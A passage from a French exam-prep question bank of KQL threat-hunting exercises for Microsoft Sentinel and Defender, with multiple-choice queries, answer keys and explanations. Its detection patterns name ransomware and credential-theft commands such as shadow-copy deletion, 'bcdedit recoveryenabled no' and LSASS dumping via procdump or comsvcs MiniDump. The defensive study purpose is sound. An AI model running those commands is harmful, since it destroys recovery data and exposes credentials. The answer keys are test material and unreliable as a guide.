    | where TimeGenerated > ago(14d)
    | summarize arg_max(TimeGenerated, *) by AccountName
    | extend Compte = tolower(AccountName)
    | project Compte, Department, JobTitle
  ) on Compte
```

**Point à retenir pour l'examen :** Clés de jointure sensibles à la casse : normaliser (tolower) ; préférer SID/ObjectId.

#### Référence officielle

- opérateur join — https://learn.microsoft.com/fr-fr/kusto/query/join-operator?view=microsoft-sentinel
- tolower() — https://learn.microsoft.com/fr-fr/kusto/query/tolower-function?view=microsoft-sentinel

## Question n° 214 — Expression régulière non correspondante

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Avancé
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Correction de requêtes erronées

**Énoncé : Besoin :** repérer des noms de domaine générés aléatoirement (au moins 20 caractères alphanumériques avant .com). La requête ne trouve rien. Quelle est la correction ?

KQL — REQUÊTE VOLONTAIREMENT ERRONÉE (À CORRIGER)

```
DeviceNetworkEvents
| where TimeGenerated > ago(1d)
| where RemoteUrl matches regex "^[a-z0-9]{20,}\.com$"
```

**A.** Les expressions régulières ne sont pas prises en charge en KQL.

**B.** Remplacer `matches regex` par `has`.

**C.** Remplacer `{20,}` par `{,20}`.

**D.** Utiliser une chaîne verbatim pour que `\.` soit transmis tel quel au moteur RE2 : `matches regex @"^[a-z0-9]{20,}\.com$"`, et tenir compte de la casse et des préfixes éventuels (schéma, sous-domaines).

**Bonne réponse : D**

### Correction détaillée

Dans une chaîne normale, `"\."` est interprété par l'analyseur de chaînes KQL avant d'arriver au moteur d'expressions régulières ; la **chaîne verbatim** `@"..."` transmet l'expression intacte. Le motif doit aussi tenir compte du format réel de RemoteUrl (qui peut contenir des sous-domaines ou un schéma).

### Analyse des réponses incorrectes

- **A.** KQL utilise la syntaxe RE2.
- **B.** `has` ne prend pas d'expression régulière.
- **C.** On chercherait au plus 20 caractères, l'inverse du besoin.

### Explication technique

KQL utilise la syntaxe **RE2** (pas de rétroréférences ni de lookahead). `matches regex` est coûteux : filtrer d'abord avec des opérateurs indexés (`endswith ".com"`). Pour les DGA, combiner longueur, entropie et rareté du domaine.

### Exemple pratique

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
DeviceNetworkEvents
| where TimeGenerated > ago(1d)
| where RemoteUrl endswith ".com"
| extend Domaine = tolower(RemoteUrl)
| where Domaine matches regex @"(^|\.)[a-z0-9]{20,}\.com$"
| summarize Appareils = dcount(DeviceId) by Domaine
```

**Point à retenir pour l'examen :** Regex KQL = RE2 en chaîne verbatim `@"..."` ; pré-filtrer avec des opérateurs indexés.

### Référence officielle

- correspond à l'opérateur regex — https://learn.microsoft.com/fr-fr/kusto/query/matches-regex-operator?view=microsoft-sentinel
- Syntaxe des expressions régulières — https://learn.microsoft.com/fr-fr/kusto/query/regex?view=microsoft-sentinel

## Question n° 215 — Ordre des opérations dans une détection de seuil

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Correction de requêtes erronées

**Énoncé : Besoin :** trouver les comptes ayant au moins 10 échecs ET au moins un succès dans la même heure (force brute réussie). La requête ne renvoie rien. Pourquoi ?

KQL — REQUÊTE VOLONTAIREMENT ERRONÉE (À CORRIGER)

```
SigninLogs
| where TimeGenerated > ago(1d)
| where ResultType == "50126"
| summarize Echecs = count(), Succes = countif(ResultType == "0") by UserPrincipalName,
bin(TimeGenerated, 1h)
| where Echecs >= 10 and Succes > 0
```

**A.** Il faut utiliser `ResultType == 0` sans guillemets.

**B.** Le premier filtre ne conserve que les échecs (50126), donc `countif(ResultType == "0")` vaut toujours 0 ; il faut retirer ce filtre et compter les deux catégories avec `countif()`.

**C.** `countif` n'existe pas en KQL.

**D.** La fenêtre `bin(TimeGenerated, 1h)` doit être supprimée.

**Bonne réponse : B**

### Correction détaillée

Un **filtre en amont** supprime les lignes dont on a besoin dans l'agrégation. On calcule les deux mesures dans un même `summarize` avec **countif()** sur l'ensemble des connexions de l'utilisateur.

### Analyse des réponses incorrectes

- **A.** ResultType est une chaîne ; la comparaison à « 0 » est correcte.
- **C.** La fonction existe.
- **D.** Le regroupement horaire n'est pas la cause du résultat vide.

### Explication technique

Variante plus précise : vérifier que le succès est **postérieur** aux échecs (`min`/`max` des horodatages ou jointure temporelle). Code 50126 = identifiants invalides ; « 0 » = succès.

### Exemple pratique

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
SigninLogs
| where TimeGenerated > ago(1d)
| summarize Echecs = countif(ResultType == "50126"), Succes = countif(ResultType == "0"),
            IPs = make_set(IPAddress, 10) by UserPrincipalName, bin(TimeGenerated, 1h)
| where Echecs >= 10 and Succes > 0
```

**Point à retenir pour l'examen :** Ne pas filtrer en amont ce qu'on veut compter ; utiliser countif() pour plusieurs catégories.

### Référence officielle

- summarize, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/summarize-operator?view=microsoft-sentinel
- countif() (fonction d'agrégation) — https://learn.microsoft.com/fr-fr/kusto/query/countif-aggregation-function?view=microsoft-sentinel

## Question n° 216 — Opérateur search trop large

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Correction de requêtes erronées

**Énoncé : Besoin :** retrouver toute trace du domaine « evil-cdn.net » dans l'espace sur 30 jours. La requête suivante expire (timeout). Quelle amélioration est la plus pertinente ?

KQL — REQUÊTE VOLONTAIREMENT ERRONÉE (À CORRIGER)

```
search "evil-cdn.net"
```

**A.** Restreindre la recherche dans le temps et aux tables pertinentes, par exemple `search in (DeviceNetworkEvents, CommonSecurityLog, DnsEvents) "evil-cdn.net"` précédé d'un filtre temporel, ou interroger directement les colonnes concernées.

**B.** Exécuter la requête plusieurs fois jusqu'à ce qu'elle aboutisse.

**C.** Ajouter `| take 10` à la fin.

**D.** Remplacer `search` par `find` sans autre changement.

**Bonne réponse : A**

### Correction détaillée

**search** sans portée parcourt **toutes les colonnes de toutes les tables** sur la période sélectionnée : très coûteux. On limite la **période**, les **tables** (`search in (...)`) et, idéalement, on cible les **colonnes** (`RemoteUrl has "evil-cdn.net"`).

### Analyse des réponses incorrectes

- **B.** Ne résout pas le problème de coût.

- **C.** La recherche doit toujours parcourir toutes les données avant de limiter.
- **D.** `find` reste une recherche multi-tables coûteuse sans filtre de portée.

**Explication technique**

Bonnes pratiques KQL : filtre temporel d'abord, `has` plutôt que `contains`, filtres sélectifs tôt, éviter `search *`. Pour des recherches sur de longues périodes, utiliser un **job de recherche** ou un **job KQL** (data lake).

**Exemple pratique**

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```
search in (DeviceNetworkEvents, CommonSecurityLog, DnsEvents) "evil-cdn.net"
| where TimeGenerated > ago(30d)
| summarize Occurrences = count() by $table
```

**Point à retenir pour l'examen :** `search` sans portée = coûteux : limiter tables, période et colonnes.

**Référence officielle**

- opérateur de recherche — https://learn.microsoft.com/fr-fr/kusto/query/search-operator?view=microsoft-sentinel
- Meilleures pratiques pour les requêtes Langage de requête Kusto — https://learn.microsoft.com/fr-fr/kusto/query/best-practices?view=microsoft-sentinel

## 3.3 Création de requêtes à partir d'un besoin

### Question n° 217 — Force brute RDP sur des serveurs Windows

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Création de requêtes à partir d'un besoin

**Énoncé : Besoin de détection :** alerter lorsqu'une adresse IP provoque plus de 30 échecs d'ouverture de session RDP sur un serveur en 15 minutes (journal Sécurité Windows collecté via AMA). Quelle requête répond au besoin ?

**A.**

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(1h)
| where EventID == 4625 and LogonType == 3
| summarize Echecs = count() by IpAddress
| where Echecs > 30
```

**B.**

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(1h)
| where EventID == 4624 and LogonType == 10
| summarize Echecs = count() by IpAddress, bin(TimeGenerated, 15m)
| where Echecs > 30
```

**C.**

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(1h)
| where EventID == 4625 and LogonType == 10
| summarize Echecs = count(), Comptes = dcount(TargetUserName) by IpAddress, Computer,
bin(TimeGenerated, 15m)
| where Echecs > 30
```

**D.**

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(1h)
| where EventID == 4740
| summarize count() by TargetAccount
```

**Bonne réponse : C**

### Correction détaillée

L'événement **4625** (échec d'ouverture de session) avec **LogonType 10** (RemoteInteractive) cible les échecs RDP. Le regroupement par IP source, serveur et tranche de 15 minutes, puis le seuil `> 30`, implémentent la règle. `dcount(TargetUserName)` aide à distinguer force brute (un compte) et pulvérisation (plusieurs comptes).

### Analyse des réponses incorrectes

- **A.** LogonType 3 désigne les ouvertures réseau (SMB...), et l'absence de `bin` ignore la fenêtre de 15 minutes.
- **B.** 4624 correspond aux ouvertures de session réussies, pas aux échecs.
- **D.** 4740 signale un verrouillage de compte : conséquence possible, mais pas la détection demandée par IP.

### Explication technique

Selon la configuration réseau (NLA), les échecs RDP peuvent apparaître avec **LogonType 3** : vérifiez vos données. Les champs SubStatus (0xC000006A mot de passe incorrect, 0xC0000064 compte inexistant) précisent la cause. Technique T1110.001 / T1021.001.

### Résultat attendu

Une ligne par IP, serveur et tranche de 15 minutes dépassant 30 échecs, avec le nombre de comptes visés.

### Hypothèses liées au schéma de données

Nécessite la collecte de l'événement 4625 (jeu « Common » ou « All » du connecteur Windows Security Events via AMA). Les IP peuvent être « - » pour certains échecs locaux.

### Amélioration proposée

Exclure les IP internes de passerelles légitimes (watchlist), et corréler avec un 4624 ultérieur depuis la même IP pour détecter une force brute réussie.

**Point à retenir pour l'examen :** Force brute RDP = 4625 + LogonType 10 (vérifier aussi 3 avec NLA), par IP et fenêtre temporelle.

### Référence officielle

- Événement de sécurité — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/securityevent
- summarize, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/summarize-operator?view=microsoft-sentinel

## Question n° 218 — Création d'un compte local ajouté aux administrateurs

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Avancé

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Création de requêtes à partir d'un besoin

**Énoncé : Besoin de détection :** repérer la création d'un compte suivie, dans les 30 minutes, de son ajout à un groupe local (par exemple Administrateurs) sur le même ordinateur. Quelle requête est correcte ?

**A.**

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID == 4624
| where LogonType == 2
```

**B.**

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID == 4726
| project TimeGenerated, Computer, TargetUserName
```

**C.**

REQUÊTE KQL

```
SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID in (4720, 4732)
| summarize count() by Computer
```

**D.**

REQUÊTE KQL

```
let creations = SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID == 4720
| project CreationTime = TimeGenerated, Computer, CompteCree = TargetUserName, Createur =
SubjectUserName;
let ajouts = SecurityEvent
| where TimeGenerated > ago(1d)
| where EventID == 4732
| project AjoutTime = TimeGenerated, Computer, Groupe = TargetUserName, Membre = MemberName;
creations
| join kind=inner ajouts on Computer
| where AjoutTime between (CreationTime .. CreationTime + 30m)
| where Membre has CompteCree
| project CreationTime, AjoutTime, Computer, CompteCree, Groupe, Createur
```

**Bonne réponse : D**

### Correction détaillée

**4720** = création d'un compte utilisateur ; **4732** = ajout d'un membre à un groupe local de sécurité. La jointure par ordinateur, la contrainte temporelle `between (CreationTime .. CreationTime + 30m)` et la correspondance du membre (MemberName contient souvent un DN ou un SID, d'où `has`) détectent une persistance par compte local (T1136.001 + T1098).

### Analyse des réponses incorrectes

- **A.** Liste des ouvertures de session interactives, sans lien avec la création de comptes.
- **B.** 4726 correspond à la suppression d'un compte.
- **C.** Compte des événements sans vérifier qu'il s'agit du même compte ni de l'ordre et du délai entre les deux.

### Explication technique

Les jointures temporelles se font en joignant sur une clé commune puis en filtrant l'écart de temps. Pour les groupes de domaine : 4728 (global), 4756 (universel). Le champ MemberSid est plus fiable que MemberName lorsque disponible.

### Résultat attendu

Une ligne par compte créé puis ajouté à un groupe local dans les 30 minutes.

### Hypothèses liées au schéma de données

Les champs SubjectUserName, TargetUserName et MemberName de SecurityEvent sont renseignés selon l'EventID ; MemberName peut être vide pour des comptes locaux (le SID est alors dans MemberSid).

### Amélioration proposée

Restreindre au groupe Administrateurs (`TargetSid == "S-1-5-32-544"`) et exclure les comptes de provisionnement légitimes.

**Point à retenir pour l'examen :** Création (4720) puis ajout à un groupe (4732) rapprochés dans le temps = persistance par compte local.

### Référence officielle

- Événement de sécurité — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/securityevent
- opérateur join — https://learn.microsoft.com/fr-fr/kusto/query/join-operator?view=microsoft-sentinel

## Question n° 219 — Lignes de commande PowerShell encodées

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Débutant

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Création de requêtes à partir d'un besoin

**Énoncé : Besoin de chasse :** lister sur 7 jours les exécutions PowerShell utilisant un paramètre de commande encodée. Quelle requête de chasse avancée convient ?

**A.**

REQUÊTE KQL

```
DeviceFileEvents
| where Timestamp > ago(7d)
| where FileName endswith ".ps1"
```

**B.**

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe", "pwsh.exe")
| where ProcessCommandLine has_any ("-encodedcommand", "-enc ", "-ec ", "-e ")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine
```

**C.**

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName == "cmd.exe"
```

**D.**

REQUÊTE KQL

```
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemotePort == 443
```

**Bonne réponse : B**

### Correction détaillée

**DeviceProcessEvents** contient les lignes de commande des processus. `has_any` recherche plusieurs termes en une fois ; `in~` gère la casse des noms de fichiers. L'encodage Base64 est une technique d'obfuscation (T1027, T1059.001).

### Analyse des réponses incorrectes

- **A.** Liste des fichiers .ps1 créés ou modifiés ; une commande encodée n'utilise pas forcément de fichier.
- **C.** Cible l'interpréteur cmd.exe, pas PowerShell.
- **D.** Liste des connexions HTTPS, sans rapport avec PowerShell.

### Explication technique

Les attaquants abrègent le paramètre (`-e`, `-en`, `-enco`, `-EncodedCommand`) : élargissez avec une expression régulière (`matches regex @"(?i)\s-e[ncodema]*\s"`) si nécessaire. Le parent (InitiatingProcessFileName) oriente l'analyse : winword.exe, wmiprvse.exe ou mshta.exe sont plus suspects qu'un outil de gestion.

### Résultat attendu

La liste des exécutions encodées avec l'appareil, le compte, le parent et la ligne de commande.

### Hypothèses liées au schéma de données

Requête de chasse avancée (Timestamp). Les espaces dans `"-e "` évitent de capturer « -ExecutionPolicy ».

### Amélioration proposée

Décoder la charge (extract + base64_decode_tostring) et exclure les outils d'administration connus par leur processus parent.

**Point à retenir pour l'examen :** PowerShell encodé = DeviceProcessEvents + `has_any("-enc", ...)` + décodage.

### Référence officielle

- DeviceProcessEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-deviceprocessevents-table
- has_any, opérateur — https://learn.microsoft.com/fr-fr/kusto/query/has-any-operator?view=microsoft-sentinel

## Question n° 220 — Téléchargement avec certutil

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Création de requêtes à partir d'un besoin

**Énoncé : Besoin de détection :** repérer l'utilisation de certutil.exe pour télécharger des fichiers depuis Internet (T1105, Living off the Land). Quelle requête est la plus précise ?

**A.**

REQUÊTE KQL

```
DeviceFileEvents
| where Timestamp > ago(1d)
| where FileName =~ "certutil.exe"
```

**B.**

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(1d)
| where FileName =~ "certutil.exe"
```

**C.**

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(1d)
| where FileName =~ "certutil.exe"
| where ProcessCommandLine has_any ("urlcache", "verifyctl") and ProcessCommandLine has "http"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName
```

**D.**

REQUÊTE KQL

```
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteUrl has "certutil"
```

**Bonne réponse : C**

### Correction détaillée

Les paramètres **-urlcache** (souvent avec `-split -f`) et **-verifyctl** permettent de télécharger un fichier distant. Filtrer sur ces paramètres **et** la présence d'une URL réduit fortement les faux positifs.

### Analyse des réponses incorrectes

- **A.** Détecte des créations/modifications du fichier certutil.exe lui-même, pas son utilisation.
- **B.** Trop large : certutil est utilisé légitimement pour gérer des certificats.
- **D.** Le nom de l'outil n'apparaît pas dans l'URL distante.

### Explication technique

D'autres binaires système servent au téléchargement : bitsadmin.exe (`/transfer`), PowerShell (`Invoke-WebRequest`), curl.exe, mshta.exe. Le projet LOLBAS recense ces usages. Corréler avec DeviceFileEvents (fichier créé juste après) et DeviceNetworkEvents (connexion sortante du processus).

### Résultat attendu

Les exécutions de certutil avec une URL et un paramètre de téléchargement.

**Amélioration proposée**

Joindre avec DeviceFileEvents sur DeviceId et une fenêtre de 2 minutes pour identifier le fichier téléchargé et son SHA256.

**Point à retenir pour l'examen :** certutil + urlcache/verifyctl + http = téléchargement LOLBin (T1105).

**Référence officielle**

- DeviceProcessEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-deviceprocessevents-table

## Question n° 221 — Suppression des clichés instantanés

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Création de requêtes à partir d'un besoin

**Énoncé : Besoin de détection :** repérer les commandes qui suppriment les clichés instantanés ou désactivent la restauration, activité typique précédant un chiffrement par rançongiciel (T1490). Quelle requête convient ?

**A.**

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(1d)
| where (FileName =~ "vssadmin.exe" and ProcessCommandLine has_all ("delete", "shadows"))
    or (FileName =~ "wmic.exe" and ProcessCommandLine has_all ("shadowcopy", "delete"))
    or (FileName =~ "bcdedit.exe" and ProcessCommandLine has_any ("recoveryenabled",
"ignoreallfailures"))
    or (FileName =~ "wbadmin.exe" and ProcessCommandLine has_all ("delete", "catalog"))
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName
```

**B.**

REQUÊTE KQL

```
DeviceLogonEvents
| where Timestamp > ago(1d)
| where ActionType == "LogonFailed"
```

**C.**

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(1d)
| where FileName =~ "vssadmin.exe"
| where ProcessCommandLine has "list"
```

**D.**

REQUÊTE KQL

```
DeviceFileEvents
| where Timestamp > ago(1d)
| where FileName endswith ".vss"
```

**Bonne réponse : A**

**Correction détaillée**

Les rançongiciels suppriment les **clichés instantanés** (`vssadmin delete shadows`, `wmic shadowcopy delete`), désactivent la **récupération au démarrage** (`bcdedit /set {default} recoveryenabled no`) et suppriment le **catalogue de sauvegarde** (`wbadmin delete catalog`). `has_all` exige tous les termes.

**Analyse des réponses incorrectes**

- **B.** Sans rapport avec l'inhibition de la récupération système.
- **C.** `vssadmin list shadows` est une simple consultation, pas une suppression.
- **D.** Les clichés ne sont pas des fichiers « .vss » créés dans DeviceFileEvents.

**Explication technique**

Ces commandes sont rarement légitimes sur des postes de travail : bon candidat pour une règle de détection personnalisée **avec action automatique** (isolement de l'appareil). Defender for Endpoint dispose aussi de détections natives et de la règle ASR « protection avancée contre les rançongiciels ».

**Résultat attendu**

Les exécutions d'outils d'inhibition de la récupération avec leur contexte.

**Amélioration proposée**

Ajouter `vssadmin resize shadowstorage` (réduction à une taille minimale) et PowerShell `Get-WmiObject Win32_Shadowcopy | Remove-WmiObject`.

**Point à retenir pour l'examen :** T1490 = vssadmin/wmic/bcdedit/wbadmin ; signal fort de rançongiciel imminent.

**Référence officielle**

- DeviceProcessEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-deviceprocessevents-table
- Qu'est-ce qu'un ransomware ? — https://learn.microsoft.com/fr-fr/security/ransomware/human-operated-ransomware

## Question n° 222 — Tâche planifiée créée par un processus suspect

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Création de requêtes à partir d'un besoin

**Énoncé : Besoin de chasse :** trouver les tâches planifiées créées en ligne de commande par des processus parents inhabituels (Office, scripts) pour la persistance (T1053.005). Quelle requête est la plus adaptée ?

**A.**

REQUÊTE KQL

```
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has "Run"
```

**B.**

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName =~ "schtasks.exe" and ProcessCommandLine has "/query"
```

**C.**

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName =~ "taskmgr.exe"
```

**D.**

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName =~ "schtasks.exe" and ProcessCommandLine has "/create"
| where InitiatingProcessFileName in~ ("winword.exe", "excel.exe", "powershell.exe",
"wscript.exe", "cscript.exe", "mshta.exe", "rundll32.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine
```

**Bonne réponse : D**

**Correction détaillée**

`schtasks.exe /create` lancé par un **processus parent anormal** (application Office, moteur de scripts, mshta, rundll32) est un indicateur de persistance malveillante. Filtrer sur le parent réduit le bruit des outils d'administration.

**Analyse des réponses incorrectes**

- **A.** Vise les clés Run (autre technique de persistance), pas les tâches planifiées.
- **B.** `/query` liste les tâches ; il ne crée rien.
- **C.** Le Gestionnaire des tâches n'a rien à voir avec les tâches planifiées.

**Explication technique**

Les tâches peuvent aussi être créées via l'API COM ou PowerShell (`Register-ScheduledTask`) sans schtasks.exe : compléter avec DeviceEvents (ActionType `ScheduledTaskCreated`) et l'événement 4698 côté SecurityEvent.

**Résultat attendu**

Les créations de tâches planifiées par des parents suspects, avec la ligne de commande.

**Amélioration proposée**

Extraire le programme lancé par la tâche (`/tr`) et vérifier sa présence dans des dossiers inscriptibles (`\AppData\`, `\Temp\`, `\Users\Public\`).

**Point à retenir pour l'examen :** Persistance par tâche planifiée = schtasks /create + parent suspect, ou ScheduledTaskCreated / 4698.

**Référence officielle**

- DeviceProcessEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-deviceprocessevents-table

## Question n° 223 — Persistance par clé Run

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Intermédiaire
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Création de requêtes à partir d'un besoin

**Énoncé : Besoin de chasse :** repérer l'ajout de valeurs de démarrage automatique dans les clés Run pointant vers des dossiers temporaires ou utilisateur (T1547.001). Quelle requête convient ?

**A.**

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName =~ "regedit.exe"
```

**B.**

REQUÊTE KQL

```
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where ActionType == "RegistryValueSet"
| where RegistryKey has @"\CurrentVersion\Run"
| where RegistryValueData has_any (@"\AppData\", @"\Temp\", @"\Users\Public\", @"\ProgramData\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName
```

**C.**

REQUÊTE KQL

```
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where ActionType == "RegistryKeyDeleted"
| where RegistryKey has "Run"
```

**D.**

REQUÊTE KQL

```
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has "Run"
```

**Bonne réponse : B**

**Correction détaillée**

**DeviceRegistryEvents** enregistre les modifications de registre ; `ActionType == "RegistryValueSet"` sur les clés **...\CurrentVersion\Run** (et RunOnce) avec une donnée pointant vers des dossiers inscriptibles par l'utilisateur est un indicateur classique de persistance.

**Analyse des réponses incorrectes**

- **A.** L'ouverture de l'éditeur de registre ne prouve aucune modification des clés Run.
- **C.** La suppression d'une clé n'est pas l'ajout d'un mécanisme de persistance.
- **D.** Les clés de registre ne sont pas des fichiers.

**Explication technique**

Les clés Run existent sous HKLM et HKCU (sous la forme `HKEY_CURRENT_USER\S-1-5-21-...\Software\Microsoft\Windows\CurrentVersion\Run` dans les journaux). D'autres emplacements de persistance : Winlogon (Userinit, Shell), services, dossiers de démarrage, abonnements WMI.

**Résultat attendu**

Les nouvelles valeurs Run pointant vers des emplacements suspects.

**Amélioration proposée**

Exclure les éditeurs légitimes connus (mises à jour d'applications) via le processus initiateur signé, et enrichir avec FileProfile sur l'exécutable ciblé.

**Point à retenir pour l'examen :** Clé Run + RegistryValueSet + chemin inscriptible = persistance (T1547.001).

**Référence officielle**

- DeviceRegistryEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-deviceregistryevents-table

## Question n° 224 — Accès à la mémoire de LSASS

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Avancé
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Création de requêtes à partir d'un besoin

**Énoncé : Besoin de détection :** repérer les tentatives de vidage de la mémoire de LSASS par des outils légitimes détournés (procdump, comsvcs.dll via rundll32), technique T1003.001. Quelle requête est la plus pertinente ?

**A.**

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(1d)
| where (FileName in~ ("procdump.exe", "procdump64.exe") and ProcessCommandLine has "lsass")
    or (FileName =~ "rundll32.exe" and ProcessCommandLine has "comsvcs" and ProcessCommandLine
has "minidump")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName
```

**B.**

REQUÊTE KQL

```
DeviceProcessEvents
| where Timestamp > ago(1d)
| where FileName =~ "lsass.exe"
```

**C.**

REQUÊTE KQL

```
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where InitiatingProcessFileName =~ "lsass.exe"
```

**D.**

REQUÊTE KQL

```
DeviceLogonEvents
| where Timestamp > ago(1d)
| where AccountName =~ "lsass"
```

**Bonne réponse : A**

**Correction détaillée**

Le vidage de LSASS permet d'extraire des identifiants. Les variantes « living off the land » utilisent **procdump** (Sysinternals) ou **comsvcs.dll MiniDump** via rundll32. Ces lignes de commande sont rarement légitimes.

**Analyse des réponses incorrectes**

- **B.** lsass.exe démarre au boot : ses créations de processus ne révèlent pas un vidage mémoire.
- **C.** LSASS communique légitimement avec les contrôleurs de domaine ; cela ne détecte pas un vidage.
- **D.** « lsass » n'est pas un compte.

**Explication technique**

Protection préventive : règle ASR « Bloquer le vol d'informations d'identification à partir du sous-système d'autorité de sécurité locale (lsass.exe) », Credential Guard, LSA Protection (RunAsPPL). MDE détecte aussi l'accès mémoire à LSASS via des alertes natives et DeviceEvents (OpenProcessApiCall).

**Résultat attendu**

Les commandes de vidage mémoire visant LSASS.

**Hypothèses liées au schéma de données**

Les outils peuvent être renommés : compléter par ProcessVersionInfoOriginalFileName (nom d'origine du binaire) pour procdump.

**Amélioration proposée**

Ajouter `ProcessVersionInfoOriginalFileName =~ "procdump"` et rechercher la création de fichiers .dmp (DeviceFileEvents).

> **Point à retenir pour l'examen :** Vidage LSASS = procdump -ma lsass / rundll32 comsvcs MiniDump ; prévenir avec ASR et Credential Guard.

**Référence officielle**

- DeviceProcessEvents — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-deviceprocessevents-table
- Référence des règles de réduction de la surface d'attaque (ASR) — https://learn.microsoft.com/fr-fr/defender-endpoint/attack-surface-reduction-rules-reference

## Question n° 225 — Pays de connexion jamais vus

**Domaine :** Module 3 — Kusto Query Language (KQL) — exercices avancés **Niveau :** Avancé

**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %) **Exercice KQL :** Création de requêtes à partir d'un besoin

**Énoncé : Besoin de détection :** alerter sur les connexions réussies depuis un pays jamais utilisé par l'utilisateur au cours des 14 jours précédents. Quelle requête implémente cette logique de référence (baseline) ?

**A.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| where Location != "FR"
```

**B.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(14d)
| summarize dcount(Location) by UserPrincipalName
```

**C.**

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(1d)
| where ResultType != "0"
| summarize count() by Location
```

**D.**

REQUÊTE KQL

```
let historique = SigninLogs
| where TimeGenerated between (ago(15d) .. ago(1d))
| where ResultType == "0"
| summarize PaysConnus = make_set(Location) by UserPrincipalName;
SigninLogs
| where TimeGenerated > ago(1d)
| where ResultType == "0"
| join kind=inner historique on UserPrincipalName
| where not(set_has_element(PaysConnus, Location))
| project TimeGenerated, UserPrincipalName, Location, IPAddress, AppDisplayName
```

## Bonne réponse : D

### Correction détaillée

On construit une **référence** (pays connus par utilisateur sur la période J-15 à J-1), puis on compare les connexions du dernier jour avec `set_has_element`. La jointure **inner** ignore les nouveaux utilisateurs sans historique (choix à assumer : un `leftouter` les inclurait).

### Analyse des réponses incorrectes

- **A.** Seuil statique : tous les voyageurs et filiales étrangères généreraient des alertes, sans tenir compte de l'historique de chaque utilisateur.
